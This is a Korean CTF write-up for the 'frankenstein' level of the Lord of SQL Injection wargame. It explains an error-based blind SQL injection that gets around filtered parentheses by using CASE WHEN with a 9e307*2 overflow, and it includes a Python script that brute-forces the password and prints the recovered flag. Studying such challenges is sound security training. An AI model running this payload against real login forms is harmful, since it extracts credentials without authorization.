반응형
문제
문제풀이
error based injection이다.
union, (, ) 등 문자열이 필터되어서 select 1 union select 2로 에러를 낼 수 없다.
9e307 * N를 이용할 수 있는데, 9e307 * N은 최댓값 범위를 넘어서서 에러가 난다.
괄호 없이 에러를 발생시키기 위해 case when then else end 을 사용할 수 있다.
case when 조건 then 참일 때 else 거짓일 때 end
몇글자인지 몰라서 10자리로 해서 코드를 작성했다.
import requests
import time
cookie = {'PHPSESSID':'13l0s9eggfb6mttoaqkr15jkhu'}
url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?"
flag = ""
for i in range(1, 10):
for j in range(48, 128):
query = "pw=' || case when pw like '{}%' then 9e307*2 else 1 end -- -".format(flag+chr(j))
res = requests.get(url + query, cookies = cookie)
if len(res.text) < 5000:
flag += chr(j)
print(flag)
break
print("flag : {}".format(flag))
0dc4efbb 소문자로 입력해주면 된다.
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] ouroboros - zombie (0) | 2023.11.10 |
---|---|
[LOS] phantom (0) | 2023.11.04 |
[LOS] blue_dragon (0) | 2023.11.03 |
[LOS] red_dragon (0) | 2023.01.28 |
[LOS] green_dragon (0) | 2023.01.28 |